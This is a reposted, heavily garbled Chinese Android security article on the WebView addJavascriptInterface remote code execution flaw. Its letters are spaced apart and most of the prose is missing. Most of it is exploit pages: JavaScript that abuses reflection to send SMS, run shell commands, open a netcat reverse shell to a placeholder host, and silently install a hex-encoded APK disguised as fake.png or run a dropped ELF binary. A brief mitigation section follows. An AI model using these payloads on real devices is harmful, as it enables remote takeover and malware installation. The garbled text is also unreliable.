[21285] 2020-10-12_Android安全(九)--WebView远程代码执行漏洞

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-10-12_Android安全(九)--WebView远程代码执行漏洞 A n d r o i d - - W e b V i e w   L e m o n S e c   2 0 2 0 - 1 0 - 1 2 1 .   W e b V i e w               A n d r o i d   A P I   l e v e l   1 6 使 W e b V i e w . a d d J a v a s c r i p t I n t e r f a c e 使 J a v a   R e f l e c t i o n   A P I J a v a a d d J a v a s c r i p t I n t e r f a c e W e b V i e w J a v a S c r i p t J a v a S c r i p t J A V A 2 .   W e b V i e w               A n d r o i d   A P I   l e v e l   1 7   ( A n d r o i d   4 . 2 ) 3 . W e b V i e w   1 )   W e b V i e w   :             W e b V i e w . a d d J a v a s c r i p t I n t e r f a c e ( O b j e c t   o b j ,   S t r i n g   i n t e r f a c e N a m e )   2 ) W e b V i e w               使 a d d J a v a s c r i p t I n t e r f a c e J a v a S c r i p t J a v a             使 W e b V i e w             A n d r o i d 4 . 2 3 )   W e b V i e w               A n d r o i d W e b V i e w . a d d J a v a s c r i p t I n t e r f a c e J a v a S c r i p t J a v a J a v a S c r i p t J a v a J a v a J a v a S c r i p t 4 .   W e b V i e w   P O C             1 )   a d d J a v a s c r i p t I n t e r f a c e J a v a S c r i p t j a v a   i n j e c t e d O b j A n d r o i d   A P I s e n d T e x t M e s s a g e             j a v a m W e b V i e w   =   n e w   W e b V i e w ( t h i s ) ; m W e b V i e w . g e t S e t t i n g s ( ) . s e t J a v a S c r i p t E n a b l e d ( t r u e ) ; m W e b V i e w . a d d J a v a s c r i p t I n t e r f a c e ( t h i s ,   " i n j e c t e d O b j " ) ; m W e b V i e w . l o a d U r l ( " f i l e : / / / a n d r o i d _ a s s e t / w w w / i n d e x . h t m l " ) ;             E X P J a v a S c r i p t < h t m l >       < b o d y >             < s c r i p t >                   v a r   o b j S m s M a n a g e r   =           i n j e c t e d O b j . g e t C l a s s ( ) . f o r N a m e ( " a n d r o i d . t e l e p h o n y . S m s M a n a g e r " ) . g e t M   e t h o d ( " g e t D e f a u l t " , n u l l ) . i n v o k e ( n u l l , n u l l ) ;                     o b j S m s M a n a g e r . s e n d T e x t M e s s a g e ( " 1 0 0 8 6 " , n u l l , " t h i s   m e s s a g e   i s   s e n t   b y   J S   w h e n   w e b v i e w   i s   l o a d i n g " , n u l l , n u l l ) ;               < / s c r i p t >       < / b o d y > < / h t m l >             2 )   a d d J a v a s c r i p t I n t e r f a c e J a v a S c r i p t j a v a   i n j e c t e d O b j A n d r o i d   A P I   g e t R u n t i m e s h e l l             E X P J a v a S c r i p t < h t m l >       < b o d y >             < s c r i p t >
                  f u n c t i o n   e x e c u t e ( c m d A r g s )                   {                           r e t u r n   i n j e c t e d O b j . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t M e t h o d ( " g e t R u n t i m e " , n u l l ) . i n v o k e ( n u l l , n u l l ) . e x e c ( c m d A r g s ) ;                   }                   v a r   r e s   =   e x e c u t e ( [ " / s y s t e m / b i n / s h " ,   " - c " ,   " l s   - a l   / m n t / s d c a r d / " ] ) ;                   d o c u m e n t . w r i t e ( g e t C o n t e n t s ( r e s . g e t I n p u t S t r e a m ( ) ) ) ;               < / s c r i p t >       < / b o d y > < / h t m l >                           3 )   a d d J a v a s c r i p t I n t e r f a c e J a v a S c r i p t j a v a   i n j e c t e d O b j A n d r o i d   A P I   g e t R u n t i m e s h e l l s h e l l             E X P J a v a S c r i p t < h t m l >       < b o d y >             < s c r i p t >                   f u n c t i o n   e x e c u t e ( c m d A r g s )                   {                           r e t u r n   i n j e c t e d O b j . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t M e t h o d ( " g e t R u n t i m e " , n u l l ) . i n v o k e ( n u l l , n u l l ) . e x e c ( c m d A r g s ) ;                   }                   e x e c u t e ( [ " / s y s t e m / b i n / s h " , " - c " , " r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / s y s t e m / b i n / s h   - i   2 > & 1 | n c   x . x . x . x   9 0 9 9   > / t m p / f " ] ) ;               < / s c r i p t >       < / b o d y > < / h t m l >            
              4 )   a d d J a v a s c r i p t I n t e r f a c e J a v a S c r i p t j a v a   i n j e c t e d O b j A n d r o i d   A P I   g e t R u n t i m e s h e l l a A P K ,   b   E L F             A P K E X P J a v a S c r i p t < h t m l >       < b o d y >             < s c r i p t >                   f u n c t i o n   e x e c u t e ( c m d A r g s )                   {                           r e t u r n   i n j e c t e d O b j . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t M e t h o d ( " g e t R u n t i m e " , n u l l ) . i n v o k e ( n u l l , n u l l ) . e x e c ( c m d A r g s ) ;                   }                   v a r   a p k   =   " x 5 0 x 4 B x 0 3 x 0 4 x 1 4 x 0 0 x 0 8 x 0 0 x 0 8 x 0 0 x 6 2   x B 9 x 1 5 x 3 0 x 3 D x 0 7 x 0 1 x 0 0 x 0 0 x 7 C x 0 1 x 0 0 x 0 0 x 1 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x D 6 x 0 D x 0 0 x 0 0 x 4 D x 4 5 x 5 4 x 4 1 x 2 D x 4 9 x 4 E x 4 6 x 2 F x 4 3 x 4 5 x 5 2 x 5 4 x 2 E x 5 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   x 4 D x 4 5 x 5 4 x 4 1 x 2 D x 4 9 x 4 E x 4 6 x 2 F x 4 3 x 4 5 x 5 2 x 5 4 x 2 E x 5 2 x 5 3 x 4 1 x 5 0 x 4 B x 0 5 x 0 6 x 0 0 x 0 0 x 0 0 x 0 0 x 0 7 x 0 0 x 0 7 x 0 0 x B A x 0 1 x 0 0 x 0 0 x B 6 x 1 1 x 0 0 x 0 0 x 0 0 x 0 0 "                   e x e c u t e ( [ " / s y s t e m / b i n / s h " , " - c " , " e c h o   ' " + a p k + " '   >   / d a t a / d a t a / c o m . e x a m p l e . h e l l o j s / f a k e . p n g " ] ) ;                   e x e c u t e ( [ " c h m o d " , " 7 5 5 " , " / d a t a / d a t a / c o m . e x a m p l e . h e l l o j s / f a k e . p n g " ] ) ;                   e x e c u t e ( [ " s u " , " - c " , " p m   i n s t a l l   - r   / d a t a / d a t a / c o m . e x a m p l e . h e l l o j s / f a k e . p n g " ] ) ;               < / s c r i p t >       < / b o d y > < / h t m l >             A P K p n g               f a k e . p n g   A P K               A n d r o r a t A P K                   E L F E L F A b u s i n g   W e b V i e w   J a v a S c r i p t   B r i d g e s 3 r o o t E L F s d c a r d P O C E X P J a v a S c r i p t < h t m l >       < b o d y >             < s c r i p t >                   f u n c t i o n   e x e c u t e ( c m d A r g s )                   {                           r e t u r n   i n j e c t e d O b j . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t M e t h o d ( " g e t R u n t i m e " , n u l l ) . i n v o k e ( n u l l , n u l l ) . e x e c ( c m d A r g s ) ;                   }                         v a r   b i n   =   " x 7 F x 4 5 x 4 C x 4 6 x 0 1 x 0 1 x 0 1 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 2 x 0 0 x 2 8 x 0 0 x 0 1 x 0 0 x 0 0 x 0 0 x E 4 x 8 3 x 0 0 x 0 0 x 3 4 x 0 0 x 0 0 x 0 0 x 5 8 x 2 1 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 5 x 3 4 x 0 0 x 2 0 x 0 0 x 0 8 x 0 0 x 2 8 x 0 0 x 1 8 x 0 0 x 1 7 x 0 0 x 0 6 x 0 0 x 0 0 x 0 0 x 3 4 x 0 0 x 0 0 x 0 0 x 3 4 x 8 0 x 0 0 x 0 0 x 3 4 x 8 0 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 0 0 x 0 4 x 0 0 x 0 0 x 0 0 x 0 4 x 0 0 x 0 0 x 0 0 x 0 3 x 0 0 x 0 0 x 0 0 x 3 4 x 0 1 x 0 0 x 0 0 x 3 4 x 8 1 x 0 0 x 0 0 x 3 4 x 8 1 x 0 0 x 0 0 x 1 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - x 0 0 x 0 0 x 0 0 x 0 0 x D 4 x 0 0 x 0 0 x 0 0 x 0 3 x 0 0 x 0 0 x 7 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 4 4 x 2 0 x 0 0 x 0 0 x 2 D x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 0 0 x 0 0 x 0 3 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 7 1 x 2 0 x 0 0 x 0 0 x E 4 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 1 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0
0 x 0 0 " ;                         e x e c u t e ( [ " / s y s t e m / b i n / s h " , " - c " , " e c h o   ' "   +   b i n   +   " '   >   / d a t a / d a t a / c o m . e x a m p l e . h e l l o j s / t e s t B i n " ] ) ;                   e x e c u t e ( [ " c h m o d " , " 7 5 5 " , " / d a t a / d a t a / c o m . e x a m p l e . h e l l o j s / t e s t B i n " ] ) ;                         v a r   r e s   =   e x e c u t e ( [ " / d a t a / d a t a / c o m . e x a m p l e . h e l l o j s / t e s t B i n " ] ) ;                       d o c u m e n t . w r i t e ( g e t C o n t e n t s ( r e s . g e t I n p u t S t r e a m ( ) ) ) ;               < / s c r i p t >       < / b o d y > < / h t m l >             t e s t B i n                 5 .   W e b V i e w 1 .   A P I   L e v e l 1 7 A n d r o i d 4             J a v a 便 G o o g l e 4 . 2 @ J a v a s c r i p t I n t e r f a c e A P I   L e v e l 1 7 A n d r o i d   4 . 2 A P I   L e v e l 1 7 2 .   A P I   L e v e l 1 7 A n d r o i d             使 a d d J a v a s c r i p t I n t e r f a c e             使 a d d J a v a s c r i p t I n t e r f a c e :             1 )   使 H T T P S U R L 访             2 )   使 H T T P U R L 访             3 )   H t m l h t m l A P K h t m l 3 .   A n d r o i d             2 0 1 4 A n d r o i d w e b k i t s e a r c h B o x J a v a B r i d g e _  
C V E - 2 0 1 4 - 1 9 3 9 [ 7 ] ,   J a v a s c r i p t :           r e m o v e J a v a s c r i p t I n t e r f a c e ( " s e a r c h B o x J a v a B r i d g e _ " )     a p p A n d r o i d - d r o z e r A n d r o i d s o ( i n j e c t ) A n d r o i d - -     S Q L i t e A n d r o i d - - A P K A n d r o i d - - a p k A n d r o i d - - K e y t o o l A P K c t f - L e m o n S e c
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则